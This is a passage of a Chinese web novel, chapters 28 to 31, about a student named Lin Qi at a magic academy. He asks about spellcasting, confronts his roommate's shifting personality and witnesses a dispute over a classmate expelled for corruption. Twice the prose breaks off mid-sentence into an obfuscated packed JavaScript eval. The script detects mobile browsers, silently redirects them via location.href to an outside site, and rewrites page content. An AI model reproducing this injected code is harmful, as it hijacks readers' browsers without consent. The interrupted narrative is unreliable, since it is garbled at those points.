而且昨天祈越也提到了“保护咒”。 祈越懂咒术,可能对他使用过定身咒……所以祈越是个咒师? 后面的一节课,林栖一个字也没听进去,在脑子里同时梳理着几条线,把自己绕得有点晕,甚至有些犯困。 终于到了下课时间,铃声一响,驯院学生仿佛肌肉里面装了弹簧,从位子上弹跳起来,领头冲出门去,边跑还边嚷嚷—— “吃饭吃饭!” “饿死了!” “躲开躲开!别碍事!” “谁先到的帮我抢个鸡腿!” 其他院系一边起身往外走,一边还要躲着驯院这群饿死鬼,只有咒院与众不同,一个个都把自己粘在椅子上,纹丝不动。 现在人多,他们不想挤,而且反正也抢不到第一轮,还不如干脆晚点再去。 一片吵闹中,前后左右的咒院新生都在“入定”,林栖也在原地坐着没动。 他想找他们问点问题。 几分钟里,教室空了三分之二,咒院这边终于开始动了,坐在最外侧的学生合上咒书,拂灰似的抹了两下封皮,沉默起身,像水鸟涉水一样,缓步朝门外走去。 在他走出一米之后,第二个学生也站了起来。第三个学生面朝书页,仿佛埋头苦读,眼神却在不停往右边瞟,反复估算着最合适的起身时机。 林栖觉得,他们好像一串钓鱼用的浮漂,在收线的时候,一个接着一个,等距离地冒出水面。 挺有趣的。 很快,前后几串浮漂收完,只剩后排最左边的一个学生坐着没动,他和别人不一样,目光不是淡淡浮在书页表面,而是牢牢钉进纸里。 看起来格外认真好学。 林栖悄声绕到后排,跟他隔着四个位置坐下,在旁边默默等着。 曾大运完全没发现自己被盯上了。 其实他也没发现教室里人走完了,或者说,连吱哇乱叫的下课铃,在他耳朵里也只是一声蝉鸣。 没办法,漫画实在太好看了。 黑沉沉的咒书里面夹着一本特制漫画,为了方便夹带,图缩得非常小,每一张都等于正常尺寸十二页的内容,两三张纸就能凑出一话。 以他这个位置和拿书的姿势,别人绝对发现不了他在干嘛。 而且,他们咒院院徽是月下孤狼,老师们秉承传统,一向崇尚独善其身,他的各位同学都在忙着凹人设,力图真的把自己凹成一头孤独帅气的狼,根本就没功夫管他这些。 一页看完,曾大运把咒书往上一抬,轻轻吹一口气翻页,然后惊恐地发现,这居然就是最后一页! 下一话还要再等一周。 巨大的无力感从心底升起,他忽然就体会到了一股来自灵魂深处的孤独与寂寥。 月下孤狼就是他本人吧?还要一周,他才能等到他的月亮…… 这时肚子狠狠叫了一声,曾大运想起餐厅里的炸鸡腿,忽然就不寂寥了,抬头一看,这才发现人都走没影了。 哦不对,还有个影儿。 曾大运一眼就认出了林栖。 然后,刚打算站直的腿往下一弯,又坐下了。 如果他现在起来,就要从林栖腿上挤过去,两排座椅挨得太近,那个姿势想想也不太优美,不符合他们咒院的淡定从容。 而且林栖太有名了,整天被人议论,不符合他们咒院的交友标准,现在教室里就剩俩人,万一他走林栖也走,他们被迫同路可怎么办? 权衡利弊之后,曾大运打算再熬一会儿,等林栖先走。 不行就把漫画再看一遍。 可惜不等他重新打开咒书,林栖就朝他看了过来,他才刚进咒院两天,人设还不太熟练,视线一下没躲开,就这么跟对方撞上了。 现在怎么办?假装没看见?好像不太行吧,这都不是淡定从容了,是没礼貌。 他们咒院要独善其身,首先做好自己,不能随波逐流,但也不能傲慢冷漠。 如果遇到有人求助不帮,被老师知道了,会用咒术整你。 淡定从容不冷漠……这个人设细节真的很难把握啊…… 正想着,一道清澈软糯的男孩儿嗓音从旁边传来,“你好,打扰了,可以问个问题吗?” 在他思考的时候,林栖已经走了过来,跟他只隔着一个空位。 顿时,曾大运整个人都僵硬了,心里紧张,连带着汗毛孔都紧绷起来,瘦削苍白的脸上没有一丝表情,眼睛乌黑暗沉,几乎没有高光。 他仰着下巴,细窄的眼尾向下压着,沉默看向林栖 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咒术是不长脑子的,它只会按你说的来,比如“让这个人不能动”,那谁知道不能动的边界在哪里呢?只是手脚不能动?还是身体不能动?或者全部不能动?心脏、肺脏、血管、大脑,全部都不动弹,那只要几分钟,人不就嗝屁了吗? 曾大运意识到自己表现不够沉稳,瞬间收回视线,高冷地点了下头,大脑飞速运转,把这些叽里咕噜的话翻译成咒院版本,淡定从容地跟林栖说了一遍。 林栖点点头,认真看着他道:“听起来确实很危险,怪不得要限制。” “还有更危险的,禁咒,没有名字,只有编号。”曾大运被他这么看着,忍不住就想多展现一下自己的丰富学识,“当然这个你不需要了解,顾名思义,禁咒是严格被禁止的。限制咒的使用条件是通过考核,比如定身咒,就要通过中级考核之后才能使用。” 林栖再点点头,“我看到你们都拿着一本书,是施咒用的吗?” 曾大运默默用手肘压住自己那本夹心咒书,维持着高冷道:“是的。” “那如果没有书呢?也能施咒吗?” 可以啊,等我们毕业就差不多了,咒院老师平时都不拿书,厉害的学生也不用拿,当然还有那些假装自己很厉害的学生…… 曾大运在心里咕哝一串,只回了两个字:“可以。” “那不念咒呢?”林栖的问题听起来有点幼稚。 “你是想问无声咒?这是咒院毕业生的留校条件之一。” “无声咒的定义是不出声吗?” “对,可以理解成默念。” “默念……那就是还要念吗?” “当然。” “那不默念呢?” 曾大运没理解,又怕林栖看出他没理解,于是抱紧手臂,无比高冷地“嗯?”了一声。 “嗯?”完之后又觉得自己尾音上扬的弧度似乎有些傲慢。 真的很难把握…… 林栖解释道:“施咒的时候,嘴巴完全不动,这是哪种?” “你的意思是,只用媒介书?” “也没有书。” “那用咒纸?” “咒纸要默念吗?” “当然。” “那也没有咒纸。” “?” 林栖仔细回想着昨晚的情形,脸上写满很认真的疑惑,“不能凭空施咒吗?” 曾大运明白了,这人就是来找茬砸场子的,淡定从容的人设立刻有些维持不住,“不能,不可能,你听谁说的?就算我们院长来了,也不可能凭空施咒,这是常识,哪怕祖师爷从棺材里爬出来也不行。” 说完之后,曾大运立刻有点后悔,首先话太密,不淡定,其次对祖师爷也不太恭敬,他都怕自己做梦梦到祖师爷揭棺而起,一脸高冷地跟他说:你在说什么鬼话? 好在肚子很及时地叫了一声,他立刻起身,趁着林栖没发现他人设崩塌,迈开步子,淡定从容地走了。 “再见,谢谢你。”林栖在后面说道。 “不用。”曾大运头也不回,只留下一道冰山似的背影。 林栖左右看看,更茫然了。 不能凭空施咒……那祈越昨天是怎么让他不能动的? 29. 第 29 章 中午,凌壑在公寓楼下等着,见林栖过来,神神秘秘地从身上摸出一只千纸鹤。 林栖认得这个。 第一天来的时候,他见观沄用它包过怪物饺子。 “这是妈妈特意让我带给你的,拿着,收好。”凌壑朝林栖眨了下眼。 林栖接了千纸鹤,头顶冒出一颗问号。 凌壑伸手往他头顶一敲,“如果有怪物,就用这个砸它。没怪物也不浪费,打开写信,然后叠起来,再放出去,它会自己去找观沄。” 林栖眼神明显亮了亮,把千纸鹤小心收好。 凌壑左右看看,眉梢一挑,“你那个小跟班呢?” 林栖上楼找人,一开门就看到祈越坐在桌边看书。 他站在门前顿了顿,迟疑开口,“去吃饭吗?” 祈越没抬头,只是淡淡“嗯”了一声,放下书,走了过来。 林栖脑子里“叮”的一声,第一反应就是:换回来了。 这是平时那个祈越,不是昨天那个祈越。 结果到了吃饭的时候,他又不确定了,凌壑呱呱讲着外面的情况,而祈越全程一言不发,哪怕凌壑故意惹他,也只是冷淡地“嗯”一声,或者回一句“有道理”“很对”。 几次之后,凌壑觉得没意思,不再逗他,继续跟林栖说,这次的怪物似乎对人不感兴趣,单纯是来搞破坏的。受伤的人没几个是真被怪物咬了,绝大部分都是吓的,满医院都是忙着逃跑扭伤脚的。 不过怪物出在闹市区,波及很广,现在外面都在抢购净化用品,尤其上城区,哪怕只是看了怪物一眼,都恨不得把自己泡在圣水里,腌得神光普照。 林栖问:“不受伤也会被侵蚀吗?” “对,是不是很——”凌壑顿了一下,明显是临时换了措辞,“不讲理?说侵蚀就侵蚀,所以怪物只会越来越多,要我说,干脆拆了学城,所有人都变成怪物算了,大不了你先吃我,我再吃你,省得整天提心吊胆。” 林栖心道,你刚刚是不是想说很不要脸? 接着想,不受伤也会被侵蚀,那如果他接触怪物,被侵蚀了会怎么样?身上也会长鳞片吗? 直觉不能。 他总觉得,每次受伤之后,红线其实不是给他治疗,而是把他恢复原状。 但是被侵蚀就会长鳞片,红线又有强迫症,非要保持原状…… 所以鳞片会被红线拔掉? 林栖想到了打地鼠的游戏,忍不住脑补,自己身上钻出鳞片,然后一冒头就被红线薅走…… 他低头扒了口饭,脸上表情有点复杂。 午休时间两小时,吃完饭,凌壑把他送到楼下,迈着长腿走了。 回到701,房门一关,林栖和祈越瞬间回到大眼瞪小眼的状态。 气氛顿时有点微妙。 林栖默默转身,脱下外衣挂好,又去洗了个手,顺着日常动线,打开衣柜拨了几下挂钩,把放在床头的书拿到书架摆好…… 祈越站在桌边,缓缓抬眸扫他一眼,“想问就问,别憋着。” 林栖心里像有小锤敲着,发出“叮”的一声,捏了捏手指,眼神左右飘了飘又回到祈越脸上,见他目光平静,不躲不闪,终于做好心理准备,轻吸一口气,从众多问题里选了个最委婉的。 “昨天……你为什么要问我那些问题?” “你确定是我问的?”祈越几乎立刻反问。 林栖:“……” 虽然直入主题也很好,但我都先委婉了,你就不能也委婉一下吗? 林栖表情僵了一瞬,又道:“昨天那个不是你吗?” 祈越唇角微微一撇,一脸“你在说什么废话”的表情,“不然呢?你只会看脸认人?” 这个说话带刺的语气,确实是祈越没错。 空气静了片刻,林栖缓缓问出四个字:“多重人格?” 祈越似乎无语,唇角动了动,“请问,我是人吗?” 林栖严谨纠正,“多重物格。” 祈越:“……” 短暂的沉默如有实质,空气中肉眼可见一串省略号,横在两人中间。 林栖眨了下眼,那该怎么说? 静了两三秒钟,祈越抱起手臂,视线移向窗外,看了看空气,又回到林栖身上,“昨天那个跟你说了什么?” “你不知道?”林栖有点意外。 “知道我还问你?”祈越整个人身上笼着一层烦躁,像一只下雨天的猫,在跟整个世界炸毛。 “那……”林栖的思考顿了顿,心里冒出一点很微妙的情绪,在“你又没早说”和“凶什么凶”之间左右横跳。 跟昨天那位“祈越”比起来,他和眼前这个祈越显然更熟。今天见到是他,本来是有点小开心的,结果今天这个比昨天那个更凶。 于是,林栖的问题从“那你怎么知道”变成了:“那好吧。” 忽然就不想理他了。 气氛顿时僵住。 两人隔空对峙,视线相对却又错开一点距离,互相不看对方。 僵持中,祈越极轻地皱了下眉,视线落下又抬起,绕了一个圈子看向林栖。 “我有那么闲吗?”片刻,祈越开口,语气还是带刺,但声音明显轻了许多,于是尖锐的刺就变成了毛茸茸的刺,扎得人有些发痒,“明知道的问题还要再问一遍,既是浪费你的时间,也是浪费我的时间。” 林栖眼尾弧度稍稍向上一抬,目光转动一点角度,看向祈越,“那你重新问。” 祈越看着他,似乎没听懂。 “重新问。”林栖低头看手,“好好说话。” “怎么才算好好说话?”祈越扯了一下唇角,向后靠住桌子。 “像这样——请问他都跟你说了什么?”林栖亲身示范,同时不适应地眨了一下眼睛,“问别人问题的时候,首先要有礼貌。” 空气安静,林栖没看祈越,却莫名觉得眼前有一只野生动物正磨着犬齿,下一秒就要起来咬人。 然后,他就听到祈越开口,语速明显比平时更慢,吐字更沉,带着一种咬牙切齿般的礼貌:“请问他都跟你说了什么?可以麻烦告诉我吗?” 效果和脑补的不太一样,林栖觉得自己好像被“礼貌”攻击到了,下意识地站直了些,同时又有点想笑,于是刻意抿了一下唇角,维持住面无表情的淡定,道:“好。” 他把昨晚的聊天内容挑重点说了,祈越沉默听完,静了许久才又开口:“知道了。” 林栖怔了怔,祈越说这句话的语气和昨天几乎一模一样。 所以现在说话的这个是谁? 他直直盯着对面,对面似乎感觉到了,视线斜扫过来,冷淡道:“看什么?” 随即皱了下眉,又改换语气:“谢谢你告诉我。” 哦,没换人。 不过林栖分不清楚,祈越这句话是在故意“礼貌”他,还是在认真道谢。 祈越似乎想说什么,却又不耐烦地皱起眉头,像是在跟什么生气。 片刻,他道:“你说你当时完全不能动?” 林栖点头。 “你懂咒术吗?”祈越语气堪称礼貌,脸上的表情却类似于“我为什么要问这种明知道答案的废话”,自己对自己都很不耐烦。 “听说过限制咒,和禁咒。” “你还知道禁咒?”祈越眼中一瞬间的意外像是看到一只狐狸在天上扑扇翅膀,随即,他皱了下眉,“你中的那个叫作定身咒,也是一种限制咒。” 林栖点点头,“听说很危险,有可能会死人?” 之前他也以为是定身咒,但咒院学生说不可能凭空施咒,所以他现在也不太确定…… 祈越意味不明地抬了抬唇角,“如果是我用的话,你肯定死不了,别人就不一定了。” “确定是定身咒吗?” 男孩儿说话时微微歪着脑袋,漆黑澄澈的眼中透着很委婉的怀疑,像怕一不小心伤了谁的自尊。 嘲讽效果很好。 祈越眯了一下眼睛。 看不起谁? “不然呢?”他开口,“你也可以叫它‘陆平川咒’,以首创它的咒师名字命名,首次使用于两百九十六年前。” 而且。祈越在心里补充:不好意思,这 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16586575|184739||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 位陆平川刚好是我祖父。 如果连这个咒也搞错,我还不如把自己折吧折吧当柴烧了。 随即,他皱了下眉,觉得自己废话很多,而且有点幼稚。 林栖看着祈越,睫影下眸光微亮,透出很明显的探索欲。 “那……” 他有很多问题想问,但就在这时,一串急促脚步声后紧接着响起“咚咚咚”的敲门声。 “林栖——在吗?”生活老师的声音从外面传来。 林栖瞬间恢复面无表情,下意识朝祈越看了一眼,刚好祈越也在看他。 他莫名懂了他要说什么。 片刻,林栖过去开门。 生活老师不是自己来的,旁边还带了一个扁着嘴的沐夏。 气氛紧张,一看就不是好事。 生活老师一刻也不耽误,朝林栖招招手道:“跟我过来,今天要多做一次筛查。” 林栖跟着出去,正要回手关门,却见祈越站在自己身后,似乎打算跟着一起。 “走走,快点。”生活老师一催,林栖来不及意外,后退一步,让开位置,祈越扫他一眼,一步迈出,顺手关了房门。 生活老师不多解释,只是风风火火在前面带路,祈越像往常一样,保持一米距离,生人勿近地跟在后面,中间的位置留给林栖和沐夏。 沐夏主动靠近一些,推了推眼镜,低声对林栖道:“今天刚发现了几个侵蚀,都是新生,也有咱们院的,所以……” 林栖懂了。 沐夏叹了口气,继续道:“第一个就是乐贤,我们都没想到,校医检查过,我们也帮他看过,没有伤口,真的没有伤口……你也知道吧?当时你们就在一起。” 林栖像是跟不上他说话的节奏,迟缓地摇了摇头。 心里想的是那天在校史馆的情形和凌壑说过的话,没有伤口也会出现侵蚀。 众所周知,“干净”是这里筛选学生的首要条件。 他早就听人说过,新生还没正式开始学习,如果现在受到侵蚀,很可能被直接退学,换上之前没考上的学生替补。 但他没想到,这件事会这么快就落下来,而且落到他认识的人身上。 沐夏一脸沮丧,“谁也没想到会这样,所以我们昨天才会来给你送蛋糕,绝对不是故意的。” 林栖明白了,因为他、沐夏、乐贤,三个人昨天在一个屋里待过,还分了蛋糕,所以今天乐贤查出侵蚀,他们两个才会被单独带去检查。 林栖不知道该以什么表情应对,只平静道:“我知道你们不是故意的。” 沐夏把嘴唇抿成波浪线,点了点头,然后短暂沉默下去,直到走出公寓楼,周围空间不再封闭,说话声也不显得那么突兀,才又道:“我们都很担心乐贤,真的太倒霉了,怎么会那么巧……而且他和我们不一样,如果被赶走了,根本没地方去。” 为什么这样说? 林栖看着他,等他继续解释,但沐夏欲言又止,支吾片刻,“先等等看吧,说不定没事呢,你说对吧?只是一点侵蚀,又是刚发现,祈院完全可以净化。” 林栖不知道说什么,只是配合地点了点头。 生活老师把他们带到祈院侧门,刚进去,就听见祝祷声远远传来,像海浪温柔轻抚沙滩,语调中有种安抚人心的力量,带着阳光般的暖意。 在祝祷声中,他们绕过走廊,来到一间小礼堂外。 小礼堂有四个出口,从他们的角度,能看到另外几名造院新生正从别的出口离开。 人影中有一块很明显的橘黄色,一个头顶橘色卷发的男孩儿频频回头张望,忽然停下脚步,用力朝他们挥了挥手。 这边沐夏看见他,也挥了挥手,从脖子上拎起一枚红线栓的吊坠,远远地晃了晃。 生活老师道:“今天是祈院教授帮你们检查,如果没事,也会多做一次净化。沐夏先进去吧。”她说着,看向林栖,“你把绷带打开,我先检查一下伤口。” 说这话的同时,她微笑着往后撤了撤身,防备的态度异常明显,仿佛绷带打开之后,伤口会像火山喷发一样,噗呲噗呲往外冒毒。 30. 第 30 章 绷带拆开时,祈越站在林栖后面,侧目朝他看了一眼。 伤口的位置和昨天完全一致,几道擦伤的走势和角度也毫无区别,只是伤口愈合收缩,前后短了一些,结痂颜色也变得更深。淤青则从皮肤底部蔓延到了表层,较之前颜色更重,范围也大了一圈。 要不是清楚真相,连祈越都差点信了。 伪造一个伤口不难,但要伪造整个愈合过程则是另一码事,需要极强的观察力、记忆力和细节把控力。 这家伙显然是个惯犯。 片刻,生活老师查看完毕,自然是没找到任何侵蚀迹象,惯犯把绷带松松绕了几圈,转头看他,整个人安静乖巧,眼睛乌黑澄澈,浮着一层水光,像只雪白的动物幼崽,看起来格外柔软无害。 装得真像。 林栖和祈越对上视线,唇边一抹乖巧弧度顿时一僵,又默默转回头,跟着老师去做检查。 祈院做检查类似于紫外光看猫藓,礼堂四角各有一个隔间,像是中空立柱,内部纯白,没有任何装饰,只从顶部落下一道金色光雾。 人浸在光雾里,只要身上有任何一点侵蚀迹象,都会使接触到的光雾变红。 受试学生进去之后,祈院老师会在旁边观察,待学生离开,还会对光雾进行一次检测,哪怕只有一颗雾气微粒变红,他们也不会放过。 沐夏比林栖先进去,也先出来,特意在门口等着,见他没事,激动得连鼻子都有点发红,“幸好幸好,不然我真的……真的对不起你,也对不起院长。” 林栖见他激动起来似乎想拉自己的手,及时往后退了一步,僵着表情“嗯”了一声。 接下去,他们又做了两个小时净化,先是听祈院教授带着高年级学生唱诵,又被要求跟唱,别人念一句,他们学一句。不能说很累,但结束时,林栖整个人都是懵的,脑子里一片金灿灿的,圣光普照,完全无法思考。 林栖出来时,远远看到祈越坐在回廊下,闭眼靠着一根石柱,眉心向内蹙着一点,似乎连睡觉都睡得很不耐烦。 林栖一边朝他走,一边观察。 在心里默默打了个勾。 还是他,没换人。 本来下午还有一节课,但生活老师没叫两人去上,直接安排他们回了公寓。 林栖一直没机会跟祈越单独说话,好不容易回到屋里,关上房门,他刚想酝酿一下开口,就又听到沐夏在外面叫他。 “怎么办?乐贤没回来,行李也被拿走了。”沐夏一脸着急,边说边在前面带路,示意林栖跟他去看。 林栖跟过去,果然看到706的房门半敞,里面除了固定家具之外几乎不剩什么,衣柜大开,挂钩全部空着,看不到行李箱,床单被褥都剥掉了,只剩一张床垫。 另外还有一只没带走的卡通水杯倒在桌上,抽屉敞着,圆形把手上挂着一只白色塑料袋,底部破了,掉出几包花花绿绿的零食。 其中有一包小熊饼干爆了袋,撒了满地的“微笑小熊”,又被人不在意地踩过,碎成粉的小熊脸上还能看出脚印形状。 沐夏推门进去,绕开地上那些小熊,把剩下的几包零食捡起来放好,左右看看,似乎想扫一下地,给可怜的微笑小熊“收个尸”,但没见到工具。 他茫然站了片刻,出来对林栖道:“我想去院里问问情况。” 林栖“嗯”了一声。 705和706刚好对着,沐夏转身关了自己房门,又跟林栖一起往前走了一段,到了701,林栖开门时,他问:“你也去吗?” 林栖还在想着那些被踩碎的小熊饼干,脑子来不及思考,但身体已经擅作主张,朝沐夏点了点头。 他其实有点犹豫,但又没有时间犹豫。 他看向祈越,什么都还没说,祈越就像下午一样,起身跟了过来。 林栖眨了下眼。 他不是这个意思…… 但是,好吧。 也可以是这个意思…… “对了。”沐夏用他略显短粗的手指挠了挠头,一双不太大的眼睛巴巴望着林栖,顿时更像一只水獭,“那个……我想跟你解释一下。” 他们正在下楼梯,说话声带着一点回响,“你应该也觉得不对了,既然我们……我们昨天给大家都送了蛋糕,那为什么今天不是全班一起做检查呢?只有我们两个单拎出来。” 林栖看着他,配合地点了点头,但实际上,他根本没想过这个问题,也没发现哪里不对。这两天需要他思考的问题实在太多了,完全顾不上怀疑别人的好意背后是不是别有用心。 沐夏“哎”了一声,“实话是,根本不是一人一块,蛋糕就是特意买了送给你的。” 林栖脚步慢了一拍,眼中浮起一颗略显茫然的问号。 沐夏挠头,“我想着,怪物那么可怕,要不是你帮乐贤,他肯定伤得不轻。你帮他,他肯定是感激你的,我也觉得他该好好谢谢你,但他完全不懂这些,也不会表达,所以我就想着,得替他想个办法谢谢你。不然万一你觉得他是白眼狼呢?大家才刚认识,万一有误会就不好了。” “所以我就跟他们商量了,主意是姜宝宝出的,你知道他吧?头发橘黄色的那个。我们当时就问乐贤,一起去请林栖吃蛋糕好不好?他说好,是真的想请你吃东西,蛋糕也是他买的。后面那些你就知道了,我们给你送蛋糕,说人人有份,其实根本不是。” “这也是姜宝宝的主意,他说单独送个蛋糕给你太隆重了,多尴尬,最好就是心意到了,又没负担。” 说话间出了公寓,沐夏又叹口气,“总之就是这样,你还有什么想知道的都可以问。” 林栖静了片刻,问道:“之前你说,乐贤没地方去?” “这个你不问我也打算跟你说的。”沐夏一脸担心,“你听说过上城孤儿’吗?乐贤就是。” 林栖摇头,但“孤儿”两个字已经足够让人产生联想。 沐夏跟他解释,“上城孤儿”是在上城区福利院长大的孩子,但不是一般意义上的孤儿,而是特指一种情况——父母家人为了让孩子留在上城区而故意将其遗弃。 林栖没听懂,沐夏耐心跟他解释:“比如一对家长带着一个孩子,生活在上城区,但突然有一天,不知道为什么,家长两个人都被侵蚀了,鉴定结果出来,达到一级,符合驱逐标准,那么他们就不能生活在上城区了,对吧?得搬家,去中城区,于是问题就来了,孩子还是干净的啊,是你你会怎么选?” 林栖摇头,表情有些茫然。 “当然是把孩子留在上城,如果运气好,长到十二岁都没事,还能被白塔选中,过来上学,如果运气再好一点,一辈子都能留在上城也不一定。” 林栖眼睛微微睁大,看着沐夏,“所以家长就把孩子送到福利院了?” “对啊,上城区福利院的孩子,至少有一半都是这种情况。”沐夏很高兴自己给林栖解释懂了,“很容易理解吧?” 不,林栖完全无法理解。 “乐贤从小就住福利院,但福利院的标准是比整个城区更严格的,就跟这里一样,也是要求绝对干净。所以如果学校不要乐贤,他也没地方去。” “那他能去找父母吗?”林栖问。 “不能啊。”沐夏摇头,“家长把孩子送福利院,就是想让他们留在上城,怕他们长大来找,肯定是要彻底断联系的,根本就找不到,这也很好理解吧?” 沐夏轻飘飘地说着这些话,仿佛都是理所当然,林栖却有一种在听恐怖故事的感觉,背后隐隐有些发冷。 他没说话,沐夏以为他懂了,于是继续说:“乐贤其实很有造物天赋,我打听过,他笔试和实操都考得很好。想不到吧?我也没想到他笔试能拿满分。乐贤记忆力其实非常好,那些基础理论只要看过他就会背,虽然我跟他聊过,觉得他其实没理解,但也很厉害了。” “实操就真的是靠天赋了,我听说他其实看不懂图纸,当时院长亲自监考,就直接把成品图给他看了,你也考过,应该能懂吧?他只看成品图,就用一堆材料把它拼出来了。” 这个林栖能懂,相当于只看完成图就拼出了一千片的乐高。 “我听说你当时是没做完?你是手工特别细的那种吧?我做东西就有点糙……” 说话间已经到了造院门口,还没进门,刚好撞上许慎行从里面出来,夕阳下,脸色黑得掉渣。 沐夏没反应过来,“啊”了一声。 林栖叫道:“许院长好。” 许慎行已经风风火火走出两米,听到声音又刹住脚步,没好气道:“你们在这儿干嘛?天都黑了,还瞎溜达,没事就回自己屋里好好呆着。” “不是的院长,我们来问乐贤情况。”沐夏解释。 “我还想问呢!”许慎行简直气得冒烟,乐贤是他选进来的学生,结果校方没经过他同意,直接就把人给扣了。 “行了行了,你们回去吧,注意点儿安全,我这就是 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16603908|184739||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 去要人的,忙着呢,没工夫管你们。”许慎行说完要走,沐夏忙道,“我们也想一起去,能……能不能联名请愿?我们可以签名。” “请愿有个屁用。”许慎行话不好听,但态度明显缓和,眼神中还隐隐透出欣慰,“行吧,来,跟上,省得你们几个到处乱跑。” 十分钟后,行政区一号楼,顶楼,校长室门外。 许慎行一手挡开上前说话的工作人员,直接推门进屋,“我学生呢?你们把我学生藏哪儿去了?” 说着,他声音一顿,“你们两个在这干嘛?” 办公桌左右各站了一个人,傅明熙和安薇,都是今年的造院新生。 两人还没答话,校长蒋星落就在办公桌后开口,“许院长,晚上好,进来之前好歹敲个门吧?也给学生做个表率。” “我都快没学生了,还表个屁的率?”许慎行冷眼扫了一圈,回头示意林栖他们一起进来,然后关了房门。 空气一时安静,林栖默默打量对面。 现任校长蒋星落今年三十出头,坐在沉肃庄严的办公桌后,中等身材撑着一身考究的白色西装,胸前别徽章,挎绶带,很有校长威仪。 但细看之下,这人长相毫无特色,五官清楚却面目模糊,像个批量生产的服装人台,只为撑起一身行头,如果脱了衣服走出这间屋子,大概没人能看出他是校长。 蒋星落一脸和煦,“许院长这是带学生来参观校长室呢?” “反正已经有两个来参观了,不差再加两个。”许慎行往旁边一瞥,抱起手臂,“我学生呢?” 蒋星落悲悯地皱了皱眉,叹道:“你的心情我能理解,但你也知道,这不是造物学院一家的事,也不是只有你的学生不幸出了状况。” “其他院系怎么样我不管,我自己的学生,无论如何都要带走。” 蒋星落双手于桌面交叠,“出事以后,我们已经第一时间安排做了净化,但还是没能阻止侵蚀,这说明有些孩子对侵蚀敏感而对净化不敏感,就算再给他们一次机会,现在净化干净了,以后也还是容易再出状况。学城资源有限,我们为什么不把机会留给资质更好的学生呢?” 他目光平视前方,声音略沉,“许院长,外面已经全是怪物了,我们必须守住学城这片净土。” 许慎行冷笑一声,“这次学校里突然出现怪物,到底是谁的责任?巡逻队足足十分钟才到现场,应急预案又在哪里?” “我身为校长,当然难辞其咎,而我现在做出这个决定,就是在为这次事故负责。”蒋星落语气平和,目光沉静。 “你负责?但是你不走,让别人走?” “许院长,你看过这些年的侵蚀数据吗?除了上城区之外,几个区域每年都在快速增长,我们每天都在把人往外赶。这不是在针对谁,不针对造院,也不针对你。这是整个学城共同的责任和义务,也是所有生活在这里的人们共同的牺牲和妥协,难道别人都能走,只有你的学生不能走吗?” “这你就说对了。”许慎行毫不客气,“我的学生就是不能走。” 蒋星落好脾气地笑笑,“我们都是为了学校好,只是理念不同,但这不是你们一个学院的事情,也不是仅仅留下一个学生而已,后续还有很多工作要做,也要和祈院那边沟通,这次事故波及很广,现在人手根本就不够用,许院长就算再着急,也不可能自己做净化吧?” 许慎行没说话,咬着后槽牙,脸色难看得像是随时都会尸变。 蒋星落目光依次扫过几个学生,“你们都是今年刚入学的新生,我想知道,你们对这件事有什么想法?” 许慎行眉头一拧,“你又想说什么?” “想多听一些不同意见,我觉得,许院长也应该听听学生到底是怎么想的,毕竟这也是他们要面对的困境。”蒋星落从他脸上移开目光,扫过几人,落在沐夏身上。 “你们的同学,乐贤,在没受伤的情况下出现了侵蚀症状,学校可以继续帮他净化,但不能保证效果,我想知道,如果以后他又出现更严重的侵蚀症状,你们还愿意跟他做同学吗?” “我说得更具体些——如果他浑身长满鳞片和尖刺,你们还愿意跟他坐在一起,手挨着手吗?如果他脸上长满溃烂和脓疮,你们还愿意跟他一起用餐,从同一个盘子里吃食物吗?” 说到这里,蒋星落声音微沉:“我知道你们都很关心同学,但感情是一回事,理智又是另一回事。希望你们想清楚再回答。” 31. 第 31 章 校长室是一间很厚重的屋子——墙壁厚,窗户厚,门板厚,地毯厚,加上已经用了上百年,历史也相当厚。 厚厚的校长室像是一只四方形的压力锅,盖子一关,里面就会自动加压,让人胸口发瘪,本能体会到一股肃穆庄严。 如果没人说话,这种感觉就会更加明显。 傅明熙根本就不想思考这个问题,他现在只觉得,林栖很烦,很碍眼,每天带着他的顶级造物招摇过市。 而且,他本来也不会跟别人坐在一起,还手挨着手,更不会跟别人在同一个盘子吃饭。 安薇和她的这些同学不一样,她已经十七岁了,自从五年前被白塔选定,她每年都来参加考试,但每一次都没能入选。 和别人不一样,她的目标是成为画傀师而不是单纯上学,所以她只考画院,对其它学院毫无兴趣。 多年来,她的绘画功底已经进步很多,在源墨测试里,她画的那个圆是全场最圆最规整的,但有什么用,画得再好,也只是浮起一个很暗淡的光圈,几秒钟就散了。 学城只接收十八岁以下的学生,今年是她最后一次机会,为了入学,她只能参加补考,进了造院。 虽然不能成为画院学生,但不代表她不能成为画师,她会找机会去画院旁听,会买书自学,会把所有课余时间用来练习。 今天她来找校长,其实是想申请转院。 她听说了乐贤的事,如果画院那边也有人因为侵蚀退学,就会空出名额。对她来说,这是一个机会,只要能让她去画院,哪怕只是旁听都好。 就算申请失败,她也会按原计划自学,绝对不会为了别人冒险。 校长问的这个问题,对她来说毫无意义。 沐夏被问得有点懵,在知道乐贤出事之后,他一直想的都是,情况不严重,可以找祈院净化。 等净化好了就没事了,还是好好的,就跟之前一样。 他完全没想过自己会和一个有侵蚀的同学坐在一起,现在真的开始想象,才觉得那个画面有点吓人…… 桌子上,两条胳膊互相挨着,一边干干净净,一边全是密密麻麻的鳞片尖刺,稍微一动就会碰到一起,尖刺那边肯定没事,干净这边就倒霉了,扎得呼呼冒血…… 